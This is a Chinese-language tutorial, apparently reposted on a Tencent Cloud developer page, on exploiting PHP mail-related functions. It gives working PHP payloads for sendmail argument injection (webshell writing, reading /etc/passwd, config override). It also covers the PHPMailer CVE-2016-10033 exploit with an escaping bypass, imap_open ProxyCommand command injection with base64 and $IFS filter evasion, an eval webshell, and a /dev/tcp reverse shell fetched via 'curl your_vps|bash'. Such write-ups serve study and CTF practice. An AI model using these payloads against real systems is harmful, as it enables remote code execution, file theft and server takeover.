前言
此篇文件为有关PHP邮件漏洞的总结,如有错误,还请各位师傅指出。
PHP中,mail的函数在底层是写好的,调用linux的sendmail程序来发送邮件,在额外参数中,sendmail还支持其他三个选项。
-X logfile :指定一个文件来记录邮件发送的详细日志。
-C file:临时加载一个配置文件(可以读文件)。
-O option=value :临时设置一个邮件储存的临时位置。
任意文件写入
代码如下:
<?php$to = 'a@b.c';$subject = '<?php system("whoami"); ?>';$message = '<?php system("ls");?>';$headers = '';$options = '-f lihuaiqiu@1 -OQueueDirectory=/tmp/ -X/root/1.php';mail($to, $subject, $message, $headers, $options);?>
实际运行命令为: /usr/bin/sendmail-t-i-f lihuaiqiu@1-OQueueDirectory=/tmp/-X/root/1.php
此命令简写形式 -f lihuaiqiu@1-oQ/tmp/-X/root/1.php
可突破某些字符限制的地方。
查看并运行邮件日志1.php回显:
成功将邮件内容写入日志,并进行了命令执行。
任意文件读取
代码如下:
<?php$to = 'a@b.c';$subject = '<?php system("whoami"); ?>';$message = '<?php system("ls");?>';$headers = '';$options = '-f lihuaiqiu@1 -C/etc/passwd -X/root/1.php';mail($to, $subject, $message, $headers, $options);?>
实际运行命令: /usr/bin/sendmail-t-i-f lihuaiqiu@1-C/etc/passwd-X/root/1.php
回显效果:
成功读取敏感数据文件。
利用配置文件执行代码
上述两种情况只建立在我们的目录有写权限以及写入的文件可以执行条件下,但是如果我们面临着没有写权限或者无法执行写入文件该怎么办呢,这时就要用到新的姿势,利用配置文件执行代码。
找到一个上传点,上传一个静态文件,文件内容为sendmail的配置文件内容并在末尾加上如下代码:
Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL,
R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix,
A=php -- $u $h ${client_addr}
原理:系统默认使用sendmail-mta来解析邮件的内容,这里添加的内容目的是覆盖默认的解析,使用PHP来解析邮件内容。
payload为 lihuaiqiu@1 -oQ/tmp -X ./upload/sendmail_cf
实际执行的命令: /usr/bin/sendmail-t-i-f lihuaiqiu@1-oQ/tmp-X./upload/sendmail_cf
将邮件内容以php方式进行解析进行命令执行。
上面我们分析了PHP中mail函数产生的漏洞,而这个cve phpmailer正是因为第五个参数过滤的不严谨导致的漏洞,下面开始进行分析,代码在https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/src/class.phpmailer.php
首先定位找到mail函数,需要满足三个条件,才可以进行五个参数的mail函数执行,需满足:没有开启safe_mode模式以及$params非Null。
然后在接下来的代码寻找$params这个值是怎么来的
很明显可以看到$params来自于$this->Sender,并且在下面的执行语句中,$params变量会传递进mailPassthru函数中进而给mail函数当作第五个参数。
接着跟进$this->sender
可以从函数中看出来,$address经过strpos函数以及validataAddress的检测,最终把值赋给$this->sender。
跟进validataAddress函数
可以看到依然用了strpos进行了一次检测,接着向下走会看到如果PHP_VERSION<5.2的话,则选择noregex模式对$address进行检测
这是一个很鸡肋的检测,基本上payload中含有@就可以的。
最终构造exp: lihuaiqiu@1-oQ/tmp-X/var/www/backdoor.php
,最终将日志文件写入backdoor.php中。
漏洞环境https://github.com/opsxcq/exploit-CVE-2016-10033
漏洞利用条件
php version < 5.2.0 no pcre phpmailer < 5.2.18 php safe_mode = false
exp回显截图
如果能bypass掉这个恶心的正则,那么利用条件就方便了很多,可以发现在@前面加括号就会可以进行bypass payload为 a(-X/home/www/backdoor.php-OQueueDirectory=/tmp)@qq.com
主要更新点在于对于$this->Sender的函数过滤问题,下面来看一下这个函数的具体情况
其作用我放张图基本就会懂的
对于代码
<?php$str="a'( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";$c=escapeshellarg($str);echo $c;echo "</br>";$str="a( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";$b=escapeshellarg($str);echo $b;
运行结果为
'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'
'a( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'
可以看到此函数将传入的单引号进行了一次转义,并且自己为其他两端字符串添加了单引号,保证两端字符串正确解析.
但是此时出现了问题,mail函数自带escapeshellcmd函数过滤
对于这个函数,我们的上一个payload就会失效的 a(-X/home/www/backdoor.php-OQueueDirectory=/tmp)@qq.com
,原因在于()被转义。
当$this->sender同时被这两个参数处理的话,就会导致单引号逃逸,如下代码测试
<?php$str="a'( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com";$c=escapeshellarg($str);echo $c;
echo escapeshellcmd($c);
运行结果:
'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com'
'a'\''( -X/home/www/backdoor.php -OQueueDirectory=/tmp )@qq.com\'
最终sendmail形式为 -fa\(
, -X/home/www/backdoor.php
, -OQueueDirectory=/tmp
, )@qq.com'
本地测试代码:
<?php$to = 'a@b.c';$subject = '<?php system("whoami"); ?>';$message = '<?php system("ls");?>';$headers = '';$options = "'-fa'\\''\( -OQueueDirectory=/tmp -X/root/lihuaiqiu.php \)@a.com\'";
mail($to, $subject, $message, $headers, $options);?>
测试结果:
运行的时候会有一些报错的,但是仍然可以写入文件。
imapopen为介绍的第二种漏洞,imapopen同样也常用于在php中bypass disable_functions。
Internet消息访问协议(IMAP)是电子邮件客户端用于通过TCP/IP连接从邮件服务器检索电子邮件的Internet标准协议,IMAP服务器通常侦听端口号143,在php函数中,imap_open正用于打开邮箱的IMAP流。
函数介绍如下:
mailbox参数详解:
{[host]}:[port][flags]}[mailbox_name]
flags可选标志列表如下:
具体链接:https://www.php.net/manual/zh/function.imap-open.php
如下实例:
@imap_open('{localhost}:143 / imap} INBOX','','');
分析:localhost为我们执行命令的参数之一,所以我们可以操纵服务器参数来构造恶意IMAP服务器来执行我们想要的命令,原理为:在php.ini中imap.enableinsecurersh参数为On的情况下,执行imap_open函数时/usr/bin/rsh被链接到ssh指令,所以通过ssh的-o选项我们可以进行命令执行。这里我们可以看一下ssh中可以执行命令的参数:
通过这个参数,我们就可以执行我们想要的命令了。
例如官方exp中给出的命令
ssh -oProxyCommand ="echo hello | tee / tmp / executed"localhost
通过我做的两个实验的例子,可以很清晰的看出构造出来的恶意邮箱服务器参数所造成的危害。
但是在PHP中填写邮箱参数的时候却不能这么直白的将此恶意邮箱参数填写
因为在解析的时候,PHP会将空格解释为分隔符以及斜杠作为标志,这里空格还是比较好绕过的,利用$IFS shell变量以及\t都可以进行替换空格,绕过斜杠的方法则是用base64进行编码。
如:echo bHM=|base64 -d|bash等于与ls。
docker pull fedosov/docker-php-imap-composer
docker run -i -t -d fedosov/docker-php-imap-composer /bin/bash
docker exec -it 9017603a0e13 /bin/bash
模拟一个imap的邮件发送脚本,脚本代码如下:
<?php$payload = "echo lihuaiqiu|tee /tmp/success";$encoded_payload = base64_encode($payload);$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
运行回显如下:
我们通过构造恶意服务器参数,成功的建立了我们想要的文件,通过此功能我们可以写webshell达到我们想要目的。
理解了这个漏洞的原理,我们就能知道这个功能是可以bypass disable_functions的。
下面来具体分析一下:
在存在RFI或LFI的情况下:
我们通过imap_open建立一个内容为\的1.php
运行脚本如下
<?php$server = "any -o ProxyCommand=echo\t'\<?php\tsystem(whoami);?>'\t>\t1.php";@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
存在RFI漏洞文件:
<?php
include($file);
?>
我们可以控制$file参数为我们刚才设置的1.php
回显结果:
由于没有环境,只能分析一下关键部分的思路
本题同样为imap_open所产生的漏洞.关键部分的在于对base64以及|的过滤,但是这个是存在上传图片的地方,所以我们可以通过bash+图片名来执行我们想要的命令
本地代码复现:
运行脚本如下:
<?php$server = "any -o ProxyCommand=bash\t1.jpg";@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
1.jpg内容为
echo"<?php @eval($_POST['li']);?>">webshell.php
回显结果:
成功的打出webshell.
另一个思考:
如果这道题没有上传文件的助攻该怎么办?
其实在上面我们可以看见,这个是有建立文件的功能的,所以我们可以根据hitcon的一道题的思路:
先建立我们所需要的文件名,比如文件名最后需要的是 curl your_vps|bash
,在文件的index.html中写入反弹bash的一句话:
bash -i >& /dev/tcp/vps/port 0>&1
通过建立如下文件名
'\>sh\ '
'>ba\\\\\'
'>\\\|\\\\'
中间省略一些建立ip的过程
'>rl\\\\'
'>cu\\\\'
最后通过命令ls -t>g将文件名导入g中,执行命令sh g,最终反弹shell。
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有